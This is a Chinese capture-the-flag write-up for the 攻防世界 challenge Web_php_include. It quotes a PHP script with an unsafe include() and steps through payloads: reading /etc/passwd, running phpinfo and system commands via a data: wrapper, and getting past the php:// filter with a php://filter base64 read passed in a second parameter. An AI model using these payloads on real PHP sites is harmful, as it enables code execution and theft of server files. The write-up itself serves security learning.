当前位置: 代码迷 >> 综合 >> 攻防世界-Web-Web_php_include
  详细解决方案

攻防世界-Web-Web_php_include

热度:28   发布时间:2024-02-07 02:48:36.0

0x01

打开题目,代码如下:

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {$page=str_replace("php://", "", $page);
}
include($page);
?>

构造payload简单验证一下是不是文件包含:
?hello=xxx&page=/etc/passwd
结果如下:
在这里插入图片描述

可见属于文件包含类型的,但是他这里过滤掉了php://。去查资料发现PHP里面还有data:text/plain伪协议可以利用,详细的文件包含漏洞利用可以参考这里:文件包含漏洞学习总结

0x02

首先测试data:plain/text是否可用,使用如下payload:
?hello=&page=data:plain/text,<?php phpinfo();?>
测试结果入下,可见成功运行了,说明我们可以构造任意代码执行。
在这里插入图片描述

0x03

接下来尝试列出该目录下的所有文件,payload如下:
?hello=&page=data:plain/text,<php system("ls");?>
输出结果如图:
在这里插入图片描述发现了疑似存有flag的文件:fl4gisisish3r3.php

0x04

下面尝试读取该文件:
?hello=&page=data:plain/text,<?php system("cat fl4gisisish3r3.php");?>
发现没有输出,在这一步我卡了很久,也尝试过使用file://来读取结果还是不可以。
在这里插入图片描述

0x05

重新来看题,发现自己忽略了一个地方,就是hello这个参数一直没有用到,再看源码并未对hello做任何过滤,那么用到他的机会来了。我只要把有php"//的payload放到hello里提交,然后通过data:plain/text构造的代码去包含它,这样不就读取出fl4gisisish3r3.php文件了吗

构造payload:
?hello=php://filter/read=convert.base64-encode/resource=fl4gisisish3r3.php&page=data:plain/text,<?php include($_GET['hello']);?>
执行成功,返回:
在这里插入图片描述把返回的Base64(图中PD9wa开头那段)放入解码器中解码就得到flag

在这里插入图片描述